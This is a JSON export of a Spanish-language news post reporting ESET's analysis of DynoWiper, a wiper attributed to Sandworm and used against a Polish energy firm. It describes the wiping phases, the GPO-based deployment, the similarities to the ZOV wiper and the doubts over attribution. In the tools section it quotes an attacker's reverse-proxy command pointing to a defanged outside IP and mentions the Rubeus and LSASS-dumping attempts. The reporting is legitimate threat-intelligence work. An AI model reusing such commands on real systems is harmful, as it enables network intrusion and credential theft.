{"id":67880,"date":"2026-09-06T18:22:27","date_gmt":"2026-09-06T18:22:27","guid":{"rendered":"https:\/\/overcentral.com\/es\/?p=67880"},"modified":"2026-09-06T18:22:27","modified_gmt":"2026-09-06T18:22:27","slug":"sandworm-dyno-wiper-polonia-ataque-energetica-2025-67880","status":"publish","type":"post","link":"https:\/\/overcentral.com\/es\/sandworm-dyno-wiper-polonia-ataque-energetica-2025-67880\/","title":{"rendered":"Sandworm atribuye el ciberataque DynoWiper a una energ\u00e9tica en Polonia"},"content":{"rendered":"

El 29 de<\/a> diciembre de 2025, los investigadores de ESET<\/a> detectaron el despliegue de un nuevo malware de borrado de datos, bautizado como DynoWiper, contra una empresa del sector energ\u00e9tico en Polonia. El incidente, atribuido con un nivel de confianza medio al grupo de amenaza ruso Sandworm, representa un hito preocupante: es la primera vez que este actor despliega malware destructivo contra una compa\u00f1\u00eda energ\u00e9tica polaca de forma abierta, sin enmascararlo como un ataque de ransomware. Aunque el producto de seguridad EDR\/XDR ESET<\/a> PROTECT logr\u00f3 bloquear la ejecuci\u00f3n del wiper y limitar significativamente su impacto, el caso revela una evoluci\u00f3n en las t\u00e1cticas de Sandworm, que hist\u00f3ricamente hab\u00eda utilizado operaciones encubiertas de ciberespionaje en Polonia y solo recientemente hab\u00eda recurrido a ataques destructivos en el pa\u00eds, como el incidente de ransomware Prestige en octubre de 2022.<\/p>\n

Sandworm: el perfil de un grupo de amenaza persistente con d\u00e9cadas de operaciones destructivas<\/h2>\n

Sandworm, tambi\u00e9n conocido como Seashell Blizzard, es un grupo de amenaza alineado con Rusia, atribuido com\u00fanmente a la Unidad 74455 de la Direcci\u00f3n Principal de Inteligencia (GRU). Su historial de ciberataques destructivos es extenso y bien documentado. El grupo salt\u00f3 a la fama internacional por los ataques contra empresas energ\u00e9ticas ucranianas en diciembre de 2015 y diciembre de 2016, que provocaron apagones masivos. En junio de 2017, lanz\u00f3 el ataque NotPetya, un wiper que se disfraz\u00f3 de ransomware y se propag\u00f3 a trav\u00e9s de la cadena de suministro al comprometer el software de contabilidad ucraniano M.E.Doc, causando da\u00f1os por miles de millones de d\u00f3lares a nivel global. En febrero de 2018, Sandworm atac\u00f3 a los organizadores de los Juegos Ol\u00edmpicos de Invierno<\/a> de Pyeongchang con el wiper Olympic Destroyer.<\/p>\n

El grupo es conocido por el uso de malware avanzado como Industroyer, capaz de comunicarse con equipos de empresas energ\u00e9ticas mediante protocolos de control industrial. En abril de 2022, CERT-UA frustr\u00f3 un ataque de Sandworm contra una empresa energ\u00e9tica en Ucrania que intentaba desplegar una nueva variante, Industroyer2. En octubre de 2020, el Departamento de Justicia de Estados Unidos public\u00f3 una acusaci\u00f3n formal contra seis hackers rusos a los que acusa de preparar y ejecutar varios ataques de Sandworm.<\/p>\n

M\u00e1s all\u00e1 de Ucrania, Sandworm tiene una d\u00e9cada de historia atacando empresas en Polonia, especialmente en el sector energ\u00e9tico. Sin embargo, estas operaciones se realizaban de forma encubierta con fines de ciberespionaje, como se observ\u00f3 en los casos de BlackEnergy y GreyEnergy. De hecho, ESET detect\u00f3 el primer despliegue de GreyEnergy en una empresa energ\u00e9tica polaca en 2015. El cambio t\u00e1ctico hacia ataques destructivos en Polonia comenz\u00f3 en octubre de 2022, cuando Sandworm atac\u00f3 empresas de log\u00edstica tanto en Ucrania como en Polonia, disfrazando la operaci\u00f3n como un incidente de ransomware Prestige.<\/p>\n

DynoWiper: un an\u00e1lisis t\u00e9cnico del nuevo wiper detectado en Polonia<\/h2>\n

El 29 de diciembre de 2025, tres muestras de DynoWiper fueron desplegadas en el directorio compartido C:\\inetpub\\pub\\<\/code>codecodecodecode de la v\u00edctima, con los nombres schtask.exe<\/code>codecodecodecode, schtask2.exe<\/code>codecodecodecode y un tercer archivo cuyo nombre fue redactado. Los ejecutables schtask*.exe<\/code>codecodecodecode conten\u00edan la ruta PDB C:\\Users\\vagrant\\Documents\\Visual Studio 2013\\Projects\\Source\\Release\\Source.pdb<\/code>codecodecodecode. El nombre de usuario \u00abvagrant\u00bb sugiere el uso de la herramienta de gesti\u00f3n de m\u00e1quinas virtuales Vagrant, lo que indica que los atacantes probaron el wiper en un entorno virtual antes del despliegue real.<\/p>\n

Los atacantes realizaron m\u00faltiples intentos de despliegue. El primero, con el archivo cuyo nombre fue redactado, llevaba un timestamp PE del 26 de diciembre de 2025. Al fallar, modificaron el c\u00f3digo y compilaron schtask.exe<\/code>codecodecodecode (timestamp del 29 de diciembre a las 13:17). Este segundo intento tambi\u00e9n fue infructuoso, por lo que generaron schtask2.exe<\/code>codecodecodecode (timestamp del mismo d\u00eda a las 14:10). Es probable que incluso este \u00faltimo intento fracasara. ESET PROTECT, instalado en las m\u00e1quinas objetivo, interfiri\u00f3 con la ejecuci\u00f3n de las tres variantes.<\/p>\n

El flujo de trabajo de DynoWiper se divide en tres fases. Las muestras schtask*.exe<\/code>codecodecodecode incluyen solo las dos primeras fases, con un retardo de cinco segundos entre ellas. La muestra redactada implementa las tres fases sin dicho retardo.<\/p>\n

Fase 1: Borrado recursivo en unidades fijas y extra\u00edbles<\/h3>\n

El wiper sobrescribe archivos utilizando un b\u00fafer de 16 bytes que contiene datos aleatorios generados una vez al inicio de la ejecuci\u00f3n. Los archivos de 16 bytes o menos se sobrescriben por completo; los m\u00e1s peque\u00f1os se extienden hasta 16 bytes. Para acelerar el proceso, los archivos mayores de 16 bytes solo ven sobrescritas algunas partes de su contenido. Durante la primera fase, el malware recorre recursivamente todos los archivos en unidades fijas y extra\u00edbles, excluyendo directorios espec\u00edficos (comparaci\u00f3n sin distinci\u00f3n de may\u00fasculas): system32<\/code>codecodecodecode, windows<\/code>codecodecodecode, program files<\/code>codecodecodecode, program files(x86)<\/code>codecodecodecode (sin espacio antes del par\u00e9ntesis), temp<\/code>codecodecodecode, recycle.bin<\/code>codecodecodecode, $recycle.bin<\/code>codecodecodecode, boot<\/code>codecodecodecode, perflogs<\/code>codecodecodecode, appdata<\/code>codecodecodecode y documents and settings<\/code>codecodecodecode.<\/p>\n

Fase 2: Variaciones en el comportamiento de borrado<\/h3>\n

Para las muestras redactada y schtask.exe<\/code>codecodecodecode, la segunda fase es similar, pero los directorios previamente excluidos ya no se omiten en el directorio ra\u00edz (por ejemplo, C:\\<\/code>codecodecodecode). As\u00ed, una ruta como C:\\Windows<\/code>codecodecodecode ya no est\u00e1 excluida, aunque C:\\Windows\\System32<\/code>codecodecodecode sigue si\u00e9ndolo. En schtask2.exe<\/code>codecodecodecode, la segunda fase elimina todos los archivos y directorios de las unidades fijas y extra\u00edbles mediante la API DeleteFileW<\/code>codecodecodecode, sin saltarse ning\u00fan directorio y sin sobrescribir archivos.<\/p>\n

Fase 3: Reinicio forzado del sistema<\/h3>\n

La tercera fase fuerza el reinicio del sistema, completando la destrucci\u00f3n del sistema operativo. A diferencia de Industroyer e Industroyer2, las muestras de DynoWiper se centran exclusivamente en el entorno de TI, sin funcionalidad observada contra componentes de tecnolog\u00eda operativa (OT). Sin embargo, esto no descarta que dichas capacidades estuvieran presentes en otra parte de la cadena de ataque.<\/p>\n

Herramientas adicionales desplegadas en la misma red<\/h2>\n

Antes del despliegue del wiper, los atacantes utilizaron otras herramientas en la misma red. En etapas tempranas, intentaron descargar la herramienta p\u00fablica Rubeus, utilizada para ataques contra Kerberos, desde la ruta c:\\users\\<username>\\downloads\\rubeus.exe<\/code>codecodecodecode. Tambi\u00e9n intentaron realizar un volcado de memoria del proceso LSASS utilizando el Administrador de tareas de Windows. Adem\u00e1s, trataron de descargar y ejecutar la herramienta de proxy SOCKS5 de c\u00f3digo abierto llamada rsocx, intentando ejecutarla en modo de conexi\u00f3n inversa con el comando C:\\Users\\<username>\\Downloads\\r.exe -r 31.172.71[.]5:8008<\/code>codecodecodecode. Este servidor IP pertenece a ProGame (progamevl[.]ru<\/code>codecodecodecode), una escuela de programaci\u00f3n para ni\u00f1os en Vladivostok, Rusia, que probablemente fue comprometida por los atacantes.<\/p>\n

Similitudes operativas entre DynoWiper y el wiper ZOV<\/h2>\n

Los investigadores de ESET identificaron similitudes significativas entre DynoWiper y el wiper ZOV, una familia de malware destructivo atribuida a Sandworm con alta confianza, detectada en noviembre de 2025 contra una instituci\u00f3n financiera en Ucrania. Ambos wipers comparten una l\u00f3gica de borrado similar: excluyen directorios espec\u00edficos del sistema operativo (como $Recycle.Bin<\/code>codecodecodecode, AppData<\/code>codecodecodecode, Program Files<\/code>codecodecodecode, Windows<\/code>codecodecodecode, etc.) y utilizan un enfoque de sobrescritura que depende del tama\u00f1o del archivo para acelerar la destrucci\u00f3n.<\/p>\n

En el caso de ZOV, el b\u00fafer de sobrescritura tiene un tama\u00f1o de 4.098 bytes y comienza con la cadena \u00abZOV\u00bb, en referencia a los s\u00edmbolos militares rusos Z, O y V, seguida de bytes nulos. Los archivos menores de 4.098 bytes se sobrescriben completamente; los mayores solo parcialmente. Tras completar el borrado, el wiper imprime el n\u00famero de directorios y archivos eliminados, ejecuta un comando shell que borra el contenido de la unidad C: y programa un reinicio del sistema. Adem\u00e1s, ZOV deja caer una imagen de fondo de escritorio con el s\u00edmbolo ZOV, y en una variante de 2024, la imagen simulaba una nota de rescate con una direcci\u00f3n de Bitcoin inexistente.<\/p>\n

DynoWiper, por su parte, utiliza un b\u00fafer de 16 bytes con datos aleatorios, pero la estructura de exclusi\u00f3n de directorios y la l\u00f3gica de borrado diferenciado por tama\u00f1o de archivo son notablemente similares a las de ZOV. Esta similitud en las TTPs refuerza la hip\u00f3tesis de que ambos wipers fueron desarrollados por el mismo equipo o siguiendo las mismas gu\u00edas de dise\u00f1o.<\/p>\n

El papel de Active Directory Group Policy en el despliegue de wipers<\/h2>\n

Sandworm tiene un historial bien conocido de abusar de las directivas de grupo de Active Directory (GPO) para desplegar malware de borrado de datos en todas las m\u00e1quinas de una red comprometida. El despliegue a nivel organizacional mediante GPO generalmente requiere privilegios de administrador de dominio y a menudo se realiza desde un controlador de dominio. Esto demuestra la sofisticaci\u00f3n de Sandworm y su capacidad comprobada para obtener acceso de alto privilegio en Active Directory.<\/p>\n

Durante la respuesta al incidente de Industroyer2 en abril de 2022, CERT-UA descubri\u00f3 un script de PowerShell llamado POWERGAP, que Sandworm utilizaba con frecuencia para distribuir varios wipers. En noviembre de 2022, ESET confirm\u00f3 que el mismo script se hab\u00eda utilizado para distribuir el ransomware RansomBoggs en Ucrania. Sin embargo, en alg\u00fan momento Sandworm dej\u00f3 de usar este script de despliegue, aunque continu\u00f3 desplegando malware destructivo mediante GPO.<\/p>\n

En el an\u00e1lisis del incidente con ZOV, se identific\u00f3 un script de PowerShell m\u00e1s reciente, con variables espec\u00edficas del entorno de la v\u00edctima (nombre del controlador de dominio, nombre del dominio, nombre del objeto de directiva de grupo, nombre del archivo desplegado, ruta, etc.). Este script realizaba todas las acciones necesarias para distribuir el binario malicioso a todos los usuarios y equipos del dominio. De forma significativa, se descubri\u00f3 un script de despliegue con funcionalidad muy similar, aunque sin una fuerte similitud de c\u00f3digo, utilizado para desplegar DynoWiper en la empresa energ\u00e9tica polaca. En ese caso, el binario malicioso no se distribuy\u00f3 a equipos individuales, sino que se ejecut\u00f3 directamente desde un directorio de red compartido.<\/p>\n

Estas operaciones de borrado de datos requieren que el actor de amenaza posea privilegios de administrador de dominio. Una vez que se alcanza ese nivel de acceso, defender el entorno se vuelve extremadamente dif\u00edcil, ya que el atacante puede realizar casi cualquier acci\u00f3n dentro del dominio. Algunas organizaciones, particularmente en el sector energ\u00e9tico, segmentan o a\u00edslan intencionalmente partes de sus entornos de TI\/OT para cumplir con requisitos operativos y de seguridad. Si bien este aislamiento puede ser una decisi\u00f3n de gesti\u00f3n de riesgos adecuada, generalmente reduce la visibilidad de los defensores y puede ralentizar la recopilaci\u00f3n de pruebas y los flujos de trabajo de respuesta, lo que a su vez complica la investigaci\u00f3n de incidentes y resulta en atribuciones de menor confianza.<\/p>\n

Atribuci\u00f3n del ataque a Sandworm: evidencias y dudas razonables<\/h2>\n

ESET atribuye DynoWiper a Sandworm con un nivel de confianza medio. Los factores que respaldan esta evaluaci\u00f3n son s\u00f3lidos. Existe un fuerte solapamiento entre las TTPs observadas en esta actividad y las que se asocian t\u00edpicamente con las operaciones de Sandworm: el uso de malware de borrado de datos y su despliegue mediante directivas de grupo de Active Directory son t\u00e9cnicas empleadas de forma habitual por el grupo. Las similitudes tanto en los wipers utilizados como en el script de despliegue mediante GPO, al comparar este caso con actividades previas de Sandworm, son evidentes. El sector objetivo \u2014una empresa energ\u00e9tica\u2014 se alinea con los intereses t\u00edpicos de Sandworm, que tiene un historial probado de atacar entornos OT. Hist\u00f3ricamente, Sandworm ha atacado a empresas energ\u00e9ticas polacas con fines de ciberespionaje utilizando BlackEnergy y GreyEnergy. Adem\u00e1s, no se tiene constancia de que ning\u00fan otro actor de amenaza recientemente activo haya utilizado malware de borrado de datos en operaciones contra objetivos en pa\u00edses de la Uni\u00f3n Europea.<\/p>\n

Sin embargo, existen factores que contradicen una atribuci\u00f3n directa y sin reservas. Aunque Sandworm ha atacado empresas en Polonia anteriormente, lo hac\u00eda de forma encubierta, ya sea con fines de ciberespionaje o disfrazando sus actividades de borrado como ataques de ransomware, como en el caso de Prestige. Es importante se\u00f1alar que ESET solo atribuye el componente de borrado de datos de esta actividad a Sandworm con confianza media. No se tiene visibilidad sobre el m\u00e9todo de acceso inicial utilizado en este incidente, por lo que no es posible evaluar c\u00f3mo o qui\u00e9n llev\u00f3 a cabo los primeros pasos. En particular, las etapas preparatorias que condujeron a la actividad destructiva podr\u00edan haber sido realizadas por otro grupo de actores de amenaza que colabora con Sandworm. Notablemente, en 2025 ESET observ\u00f3 y confirm\u00f3 que el grupo UAC-0099 realiz\u00f3 operaciones de acceso inicial contra objetivos en Ucrania y posteriormente transfiri\u00f3 objetivos validados a Sandworm para actividades de seguimiento.<\/p>\n

Esta posibilidad de colaboraci\u00f3n entre grupos introduce una capa de incertidumbre en la atribuci\u00f3n. El hecho de que Sandworm haya cambiado su modus operandi en Polonia, pasando de operaciones encubiertas a ataques destructivos directos, podr\u00eda ser una se\u00f1al de una escalada en sus capacidades y objetivos, o podr\u00eda reflejar una din\u00e1mica de grupo m\u00e1s compleja en la que diferentes actores contribuyen a distintas fases del ataque.<\/p>\n

Implicaciones estrat\u00e9gicas del ataque DynoWiper para la seguridad de infraestructuras cr\u00edticas<\/h2>\n

Este incidente representa un caso raro y previamente no visto en el que un actor de amenaza alineado con Rusia despleg\u00f3 malware destructivo de borrado de datos contra una empresa energ\u00e9tica en Polonia, un pa\u00eds miembro de la Uni\u00f3n Europea y de la OTAN. La elecci\u00f3n del objetivo no es casual: el sector energ\u00e9tico es una infraestructura cr\u00edtica cuya interrupci\u00f3n puede tener consecuencias devastadoras para la econom\u00eda y la seguridad nacional. Aunque el ataque fue frustrado en gran medida por las defensas de seguridad implementadas, el hecho de que Sandworm haya intentado desplegar un wiper en una empresa energ\u00e9tica polaca indica una voluntad de expandir su teatro de operaciones m\u00e1s all\u00e1 de Ucrania.<\/p>\n

La evoluci\u00f3n de las t\u00e1cticas de Sandworm en Polonia, desde el ciberespionaje encubierto con BlackEnergy y GreyEnergy hasta el ataque destructivo con Prestige en 2022 y ahora con DynoWiper, sugiere una adaptaci\u00f3n continua. El grupo no solo est\u00e1 modificando su arsenal de malware, sino tambi\u00e9n sus m\u00e9todos de despliegue y posiblemente sus relaciones con otros actores de amenaza. La colaboraci\u00f3n con grupos de acceso inicial como UAC-0099 podr\u00eda estar permitiendo a Sandworm centrarse en sus capacidades destructivas mientras otros se encargan de la fase de intrusi\u00f3n.<\/p>\n

Para las organizaciones del sector energ\u00e9tico y otras infraestructuras cr\u00edticas en Europa, este caso subraya la importancia de contar con soluciones de detecci\u00f3n y respuesta en endpoints (EDR\/XDR) que puedan bloquear incluso malware previamente desconocido. La capacidad de ESET PROTECT para interferir con la ejecuci\u00f3n de las tres variantes de DynoWiper demuestra que la prevenci\u00f3n es posible, pero requiere una monitorizaci\u00f3n continua y actualizaciones de inteligencia de amenazas. Adem\u00e1s, la segmentaci\u00f3n de redes IT\/OT, aunque puede reducir la visibilidad, sigue siendo una pr\u00e1ctica recomendada para limitar el impacto de un ataque destructivo en los sistemas de control industrial.<\/p>\n

El hecho de que Sandworm est\u00e9 dispuesto a desplegar wipers en pa\u00edses de la UE, y no solo en Ucrania, deber\u00eda ser una llamada de atenci\u00f3n para los gobiernos y las empresas de la regi\u00f3n. La colaboraci\u00f3n entre equipos de respuesta a incidentes, como CERT-UA, CERT Polska y los investigadores de ESET, es fundamental para compartir inteligencia y mejorar las defensas colectivas. La investigaci\u00f3n de este incidente, publicada por CERT Polska, proporciona detalles valiosos que pueden ayudar a otras organizaciones a prepararse para amenazas similares.<\/p>\n

La pregunta que queda abierta es si este ataque representa un hecho aislado o el inicio de una nueva fase de operaciones destructivas de Sandworm contra objetivos en Europa Central y Oriental. La evidencia hist\u00f3rica sugiere que el grupo es persistente y est\u00e1 dispuesto a adaptar sus t\u00e1cticas para lograr sus objetivos estrat\u00e9gicos. Las organizaciones que operan infraestructuras cr\u00edticas deben asumir que son objetivos potenciales y actuar en consecuencia, fortaleciendo sus defensas, mejorando la visibilidad de sus entornos y prepar\u00e1ndose para responder a incidentes de borrado de datos que podr\u00edan intentar paralizar sus operaciones.<\/p>\n","protected":false},"excerpt":{"rendered":"

El 29 de diciembre de 2025, los investigadores de ESET detectaron el despliegue de un nuevo malware de borrado de datos, bautizado como DynoWiper, contra una empresa del sector energ\u00e9tico en Polonia. El incidente, atribuido con un nivel de confianza medio al grupo de amenaza ruso Sandworm, representa un hito preocupante: es la primera vez […]<\/p>\n","protected":false},"author":2,"featured_media":68309,"comment_status":"closed","ping_status":"","sticky":false,"template":"","format":"standard","meta":{"fifu_image_url":"https:\/\/pub-4d4fc17555de4152be07eaf2a416a31e.r2.dev\/es\/ocie_1789130688832.jpg","fifu_image_alt":"Sandworm atribuye el ciberataque DynoWiper a una energ\u00e9tica en Polonia","footnotes":""},"categories":[5],"tags":[],"class_list":["post-67880","post","type-post","status-publish","format-standard","has-post-thumbnail","category-tecnologia"],"fifu_image_url":"https:\/\/pub-4d4fc17555de4152be07eaf2a416a31e.r2.dev\/es\/ocie_1789130688832.jpg","fifu_image_alt":"Sandworm atribuye el ciberataque DynoWiper a una energ\u00e9tica en Polonia","_links":{"self":[{"href":"https:\/\/overcentral.com\/es\/wp-json\/wp\/v2\/posts\/67880","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/overcentral.com\/es\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/overcentral.com\/es\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/overcentral.com\/es\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/overcentral.com\/es\/wp-json\/wp\/v2\/comments?post=67880"}],"version-history":[{"count":2,"href":"https:\/\/overcentral.com\/es\/wp-json\/wp\/v2\/posts\/67880\/revisions"}],"predecessor-version":[{"id":67882,"href":"https:\/\/overcentral.com\/es\/wp-json\/wp\/v2\/posts\/67880\/revisions\/67882"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/overcentral.com\/es\/wp-json\/wp\/v2\/media\/68309"}],"wp:attachment":[{"href":"https:\/\/overcentral.com\/es\/wp-json\/wp\/v2\/media?parent=67880"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/overcentral.com\/es\/wp-json\/wp\/v2\/categories?post=67880"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/overcentral.com\/es\/wp-json\/wp\/v2\/tags?post=67880"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}